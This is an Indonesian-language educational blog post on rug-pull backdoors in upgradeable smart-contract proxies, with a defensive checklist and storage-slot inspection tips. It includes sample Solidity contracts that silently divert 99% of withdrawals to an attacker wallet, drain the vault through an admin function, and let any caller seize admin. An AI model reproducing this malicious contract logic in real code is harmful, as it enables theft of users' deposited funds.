Tekan ESC untuk menutup

Backdoor Smart Contract: Risiko Upgradeability & Proxy

Sekitar 90% protokol DeFi tempat kalian naruh stablecoin itu sebenernya punya backdoor legal berupa panel kendali rahasia. Fitur keren ini namanya Upgradeability. Teori manisnya sih buat nge-fix bug sama optimasi gas fee. Tapi realitanya? Developer bisa ganti kode kontrak yang lagi jalan pake script scam random cuma modal sekali klik, terus nguras semua likuiditas remahan terakhir kalian.

Semalem gua begadang sampe jam 3 subuh nyisir salah satu fork baru di Base. Gua kira mata gua udah sepet karena ngantuk, taunya kagak. Ini beneran ada timebomb klasik di dalem proxy-nya. Padahal mereka punya sertifikat audit formal bentuk PDF keren dari firma security papan atas. Yuk, kita pretelin bareng-bareng.

Tipuan Arsitektur: Cara Kerja Sistem Proxy

Bagi user awam, smart contract itu kayak barang paten. Sekali di-deploy langsung ditinggal, beres. Tapi kalau protokolnya mau dibikin bisa di-upgrade, arsitekturnya kudu dipecah jadi dua bagian: Proxy sama Logika (Implementation). User bakal selalu interaksi sama Proxy. Kontrak Proxy ini sebenernya polosan, gak punya logika bisnis sama sekali. Tugasnya cuma nerusin call pake fungsi delegatecall.

Nah, di sinilah petakanya. delegatecall itu fitur paling berbahaya di Solidity. Fungsi ini nge-run kode dari kontrak tujuan (implementasi), tapi pake konteks storage si Proxy itu sendiri. Jadi, variabelnya tetep kesimpen di Proxy, tapi kodenya numpang dari luar. Begitu admin ganti alamat implementasi di kontrak proxy—boom, protokol kalian langsung berubah. Bisa jadi versi baru, bisa juga jadi backdoor.

Beberapa pola proxy yang sering dipromosikan biar kelihatan aman:

  • UUPS (UUPSUpgradeable): Slot isi alamat logika ditaruh langsung di dalam kontrak logika itu sendiri. Sialnya, kalau admin nge-deploy implementasi cacat yang lupa dapet warisan (inherit) dari UUPS, kontraknya bakal langsung nge-brick jadi batu. Dana di dalemnya bakal kekunci selamanya. Ironis banget kan?
  • Transparent Proxy Pattern (TPP): Pola ini mendelegasikan logika upgrade ke kontrak khusus namanya ProxyAdmin. Hak aksesnya dibagi jelas: user biasa cuma bisa manggil fungsi bisnis, sedangkan admin cuma bisa utak-atik fungsi upgrade. Kelihatannya lebih rapi, tapi boros gas fee setengah mati karena sistem harus terus-terusan ngecek msg.sender di level fallback.
  • Beacon Proxy: Ada satu kontrak pemandu (Beacon) yang nyimpen alamat logika buat dipake bareng-bareng sama ratusan proxy kembarannya. Ini kepake banget buat project NFT massal atau pabrik liquidity pool. Begitu alamat di dalam beacon diganti, seribu kontrak otomatis ke-update barengan. Praktis buat dev, tapi makin manjain hacker. Sekali kena exploit, langsung tumbang satu jaringan pool.

Anatomi Rug Pull: Cara Halus Nguras Duit Kalian

Kalian pikir buat nge-hack dana itu butuh exploit yang ribet? Kagak perlu. Admin cukup ganti satu baris kode doang di implementasi yang baru.

Biar kebayang, gua udah bikin contoh kasar versi smart contract yang awalnya kelihatan "jujur", tapi bisa langsung disulap jadi malapetaka lewat trik sulap sederhana.

Tahap 1: Kontrak Bersih (Implementation_V1.sol)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
// Pool biasa, investor naruh dana buat nyari yield aman
contract VaultV1 is Initializable {
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    // Pake fungsi initializer, bukan constructor. Kalau lupa di-run, kontraknya jadi tak bertuan dan bisa dicomot siapa aja.
    function initialize() public initializer {
        admin = msg.sender; // Masukkin alamat deployer atau multisig (semoga aja)
    }
    function deposit() external payable {
        require(msg.value > 0, "Zero funds");
        balances[msg.sender] += msg.value;
        totalFunds += msg.value;
    }
    // Fungsi withdraw jujur, gak ada potongan siluman. Sejauh ini.
    function withdraw(uint256 _amount) external {
        require(balances[msg.sender] >= _amount, "Low balance");
        balances[msg.sender] -= _amount;
        totalFunds -= _amount;
        payable(msg.sender).transfer(_amount);
    }
}

Kodenya bersih total. Auditor ngasih lampu hijau. Protokol pun rilis, TVL meroket, dan grup Telegram rame sama hype orang-orang.

Tahap 2: Upgrade Tengah Malam (Implementation_V2.sol)

Sebulan kemudian, dana yang ngumpul udah dapet 5000 ETH. Admin (atau hacker yang berhasil nyolong private key si admin) langsung nge-deploy versi kedua. Dia tinggal manggil fungsi upgradeTo() di proxy buat nyuntikkin alamat kontrak baru yang udah dimodifikasi.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract VaultV2 is Initializable {
    // PENTING: Susunan storage layout wajib sama persis kayak V1.
    // Geser variabel dikit doang bisa ngerusak mapping data dan bikin kacau isi storage.
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    
    address public constant shadowWallet = 0x9965507B1a05951961A0175f653429f1c08afde6; // Dompet penampung di Cayman Island
    // Fungsi kosong biar initializer gak bisa ditrigger dua kali
    function initialize() public initializer {}
    function deposit() external payable {
        balances[msg.sender] += msg.value;
        totalFunds += msg.value;
    }
    // Nah, ini dia backdoor-nya. User biasa gak bakal sadar kalau cuma liat UI dApp.
    function withdraw(uint256 _amount) external {
        // Kelihatannya normal, tapi aslinya...
        require(balances[msg.sender] >= _amount, "Low balance");
        
        // Potongan siluman. Diem-diem kita sunat 99% buat dikirim ke shadowWallet.
        // Kenapa gak diambil 100%? Biar tx gak langsung failed. Biar user ngiranya cuma lag jaringan dApp.
        uint256 tax = (_amount * 99) / 100;
        uint256 userShare = _amount - tax;
        balances[msg.sender] -= _amount;
        totalFunds -= _amount;
        payable(shadowWallet).transfer(tax); 
        payable(msg.sender).transfer(userShare);
    }
    // Atau bisa juga pake tombol darurat khas admin buat kabur bawa duit
    function emergencyDrain() external {
        require(msg.sender == admin, "Not an admin");
        // Kuras abis remahan terakhir. Bye-bye liquidity.
        payable(shadowWallet).transfer(address(this).balance);
    }
}

User masuk ke dApp, klik tombol Withdraw, terus dapet prompt pop-up buat sign tx. Di layar cuma muncul animasi loading muter-muter. Pas dicek, dana yang masuk ke wallet cuma 1% dari total deposit, sisanya udah bablas ke alam lain. Pas kalian komplain dan ngamuk di grup Telegram, moderatornya langsung gercep hapus chat terus nge-ban akun kalian. Pola klasik.

Tabrakan Slot Memori: Cara Paling Licik Buat Nyembunyiin Backdoor

Kadang dev nakal gak perlu repot-repot nulis fungsi vulgar kayak emergencyDrain(). Ada trik yang jauh lebih halus, namanya manipulasi tabrakan slot memori (Storage Slot Collision).

EVM itu gak kenal sama nama variabel buatan kalian. Dia cuma tau sistem urutan slot memori (dari posisi 0 sampe 2256-1) tempat data ditulis secara berurutan. Kalau di kontrak implementasi baru sengaja diubah urutan deklarasi variabelnya, efeknya bisa fatal. Misal, pas user nginput data ke variabel biasa kayak userLimit, nilainya malah nimpa isi slot alamat admin.

Gua pernah nemu kasus kontrak yang pas di-upgrade, mereka iseng nyisipin satu variabel bool kecil tepat sebelum variabel owner. Akibatnya, semua susunan slot memori di bawahnya otomatis kegeser. Setiap kali ada user yang nyoba ganti settingan akun mereka, posisi mereka malah langsung otomatis naik pangkat jadi pemilik kontrak dan punya akses penuh buat nguras isi vault. Pas ketahuan, dev-nya ngeles bilang itu murni human error kagak sengaja. Halah, pret. Masalahnya, dana curian itu langsung ngalir mulus ke wallet yang dua hari sebelumnya abis dapet suntikan dana dari Tornado Cash. Kebetulan yang sangat estetik.

Panduan Anti-Rungkad: Biar Gak Cuma Jadi Exit Liquidity

Kalian keliru besar kalau mikir centang hijau "Verified" di Etherscan itu udah jaminan aman. Logo centang itu cuma nandain kalau kode kontrak proxy-nya valid dan kebaca. Isinya mah tetep kudu dibongkar lagi.

Gua buatin tabel ringkas nih buat acuan cek ombak, biar kalian tau kapan harus waspada sebelum mutusin buat naruh dana yang nominalnya lumayan gede ke sebuah protokol.

Parameter KontrakKondisi Ideal (Safe)Status Bahaya (Red Flag)Cara Cek Langsung di Explorer
Tipe KontrakPermanen (Immutable)Sistem Proxy (UUPS / Transparent)Buka menu Contract -> Lihat apakah ada opsi tombol Read as Proxy / Write as Proxy.
Akses Kontrol (Admin)Multisig (Gnosis Safe minimal 3/5) + TimelockEOAs (Alamat wallet pribadi milik satu orang)Cek isi data di slot admin atau owner, lalu buka alamat tersebut. Kalau tipe alamatnya polosan tanpa ada kode script (bukan smart contract), berarti proyek ini dipegang satu orang. Sekali private key dia bocor, kelar hidup kalian.
Timelock (Jeda Waktu)Skala 48 jam sampai 7 hariGak ada jeda atau diset ke angka 0Pastikan setiap eksekusi fungsi upgrade wajib ngelewatin kontrak timelock dulu. Kalau admin bisa langsung eksekusi fungsi upgradeTo detik itu juga, mending buruan tarik dana kalian terus kabur.
Slot ImplementasiUdah di-hash sesuai standar EIP-1967Pake slot custom rahasiaWajib verifikasi proses migrasi storage-nya. Pantau terus perubahan di menu tab State yang ada di Etherscan setiap kali mereka ngadain agenda upgrade kontrak.

Timelock itu cuma ilusi keamanan lain tempat para peloncat drop (holder ritel pemula) menaruh harapan. Dev biasanya bakal pamer di Discord: "Tenang, kita pakai timelock 48 jam! Nggak bakal ada upgrade dadakan!".

Kelihatannya aman. Admin punya waktu dua hari buat antre transaksi upgrade. Dalam 48 jam itu, harusnya lu bisa sadar kalau ada indikasi rug pull, bikin gaduh di komunitas, terus tarik semua dana. Realitanya? Nggak ada yang peduli.

Emang ada yang mantau mempool atau event log timelock 24/7? Nggak ada. Lu semua tidur, kerja, atau nongkrong. Hacker atau dev yang mau nge-scam tinggal antre transaksi upgrade pas Jumat malam. Pas Minggu malam waktu timelock kelar, code langsung berubah. Senin pagi pas bangun, lu cuma bisa gigit jari liat balance udah nol. Jeda waktu timelock cuma berguna kalau lu setup auto-alert pake Defender Sentinel atau Tenderly, plus bot emergency withdraw. Nggak punya bot? Lu cuma bakal nonton dana lu amblas di antrean pembantaian.

Sekarang ayo bahas trik kotor yang jarang banget disentuh di file PDF hasil audit standar.

Ranjau Arsitektur: Metode Inisialisasi Terselubung

Pas deploy contract biasa, fungsi constructor bakal jalan. Fungsi ini cuma jalan sekali buat ngisi storage, abis itu hilang. Di arsitektur proxy, constructor punya implementation nggak bisa nyentuh storage milik proxy. Makanya dibuatlah fungsi initializer kayak initialize yang kita bahas sebelumnya.

Di sinilah rekayasa backdoor tingkat dewa dimulai. Gimana kalau admin sengaja ninggalin fungsi inisialisasi kedua? Atau bikin method re-initialization tersembunyi?

Di OpenZeppelin sebenernya ada modifier reinitializer(uint8 version). Fungsinya buat inisialisasi variable baru pas upgrade ke V2. Tapi kalau dev malah bikin fungsi custom sendiri atau sengaja "lupa" mengamankan fungsi re-konfigurasi ini, siapa aja bisa nimpa variable krusial di storage.

Contoh code migrasi yang rentan (atau sengaja disusupi):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract VaultV3 is Initializable {
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    
    // State baru buat V3
    bool public isPaused;
    address public trustedRecoveryAddress;

    // Reinitializer buat upgrade.
    // Kelihatan nggak celahnya di mana?
    function upgradeConfig(address _recovery) external {
        // Lupa pasang: require(msg.sender == admin, "Not admin");
        // Atau ada logic tersembunyi yang nge-reset status inisialisasi
        trustedRecoveryAddress = _recovery;
        
        // Bonus buat bawa kabur aset:
        admin = msg.sender; // Bam! Siapa aja bisa call fungsi ini dan langsung rebut hak admin
    }
}

Lu mungkin mikir, "Bug sekonyol ini pasti ketahuan pas audit." Jangan salah. Trik kayak gini sering dibungkus pake rumus matematika rumit atau ditaruh di dalam external library unverified yang di-import pas deploy. Hasilnya, fungsi cuma kelihatan kayak rumus pembagian yield biasa, padahal aslinya ngelakuin overwrite slot admin.

Cara Cek Langsung: Intip Storage Slot Tanpa Verifikasi Code

Kalau dev emang niat kabur bawa duit, mereka nggak bakal verifikasi code backdoor-nya di Etherscan. Mereka bakal deploy unverified bytecode biasa. Lu cuma bakal nemu tumpukan hex nggak jelas di explorer. Seram? Pasti.

Biarpun unverified, lu bisa tahu ke mana proxy itu mengarah kalau lu paham cara baca storage slot langsung di root-nya. Sesuai standar EIP-1967, address logic contract harus ditaruh di slot memori yang spesifik buat ngehindarin storage collision.

Address slot implementation (EIP-1967):
bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
Hasil hash nilainya: 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc

Kalau bisa pakai perintah eth_getStorageAt, lu nggak perlu peduli lagi contract-nya verified atau nggak. Tinggal ambil address proxy-nya, query ke slot tadi, nanti bakal keluar address hex asli dari implementation contract yang lagi aktif. Kalau address ini berubah diam-diam, langsung amankan dana lu saat itu juga.

# Contoh request via RPC (curl) buat buktiin isi asli di dalam slot memori
curl https://mainnet.infura.io/v3/YOUR_KEY \
  -X POST \
  -H "Content-Type: application/json" \
  --data '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["0xProxyContractAddress", "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", "latest"],"id":1}'

Hasil response bakal ngembaliin data 32 bytes. Perhatiin 20 bytes terakhir, itu adalah address asli contract yang lagi megang kendali duit lu sekarang. Bukan address yang dipajang di UI frontend, tapi address asli yang bakal dieksekusi via delegatecall.

Kesimpulan

Ingat: upgradeability itu selalu jadi ajang kompromi antara fleksibilitas dev dan keamanan dana investor. Kalau ada projek pamer TVL (Total Value Locked) triliunan tapi masih pakai proxy dengan multisig 2-of-3 tanpa timelock, duit triliunan itu aslinya bukan punya user. Itu punya tiga orang yang pegang key, atau punya hacker yang berhasil nge-phishing mereka.

Begitu contract bisa di-upgrade, artinya lu murni percaya sama manusia, bukan sama code. Padahal sejarah crypto berkali-kali ngebuktiin kalau manusia itu gampang kena mental, bisa diancam, atau mendadak khilaf pas liat angka dengan digit nol berderet-deret.


FAQ

Upgradeability itu pola arsitektur yang memecah protokol jadi dua: kontrak Proxy di depan, dan kontrak Implementation yang isinya logika bisnis utama. Pola ini memudahkan dev buat ganti kode di bawahnya pakai fungsi delegatecall. Risiko paling gedenya ada di masalah sentralisasi kekuasaan. Siapa pun yang megang admin keys bisa langsung ganti alamat Implementation asli yang udah diaudit dengan kode jahat (malicious code). Dampaknya, mereka bisa ngacak-ngacak state transition protokol dan langsung nguras (drain) semua aset kripto yang ke-lock di dalamnya.

Buat nyari admin backdoor, lu harus cek arsitektur kontraknya lewat explorer kayak Etherscan. Cek apakah ada storage slot EIP-1967 (0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc) pakai method RPC eth_getStorageAt. Cara ini dipakai buat narik pointer implementation yang tersembunyi. Kalau slot ini ngereturn sebuah address, coba liat variabel ProxyAdmin atau owner-nya. Kalau ternyata nunjuk ke satu EOA (Externally Owned Account) biasa—bukan ke multisig (Multi-Signature wallet) atau kontrak Timelock—berarti fix arsitekturnya punya backdoor aktif.

Storage slot collision (tabrakan slot memori) itu vulnerabilitas fatal di EVM. Ini terjadi waktu versi baru dari kontrak Implementation ngedeklarasiin state variables dengan urutan beda atau tipe data yang gak cocok sama versi sebelumnya. Alhasil, variabel-variabel baru terpaksa masuk ke 32-byte storage slots yang sama persis. Karena salah susunan (misalignment) ini, function lain yang gak ada hubungannya bisa gak sengaja numpuk variabel krusial. Efeknya, interaksi user biasa bisa ngerusak state layout, ngilangin saldo, atau diam-diam ngeswap slot address admin buat ngasih kepemilikan penuh (full ownership) ke attacker.
Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...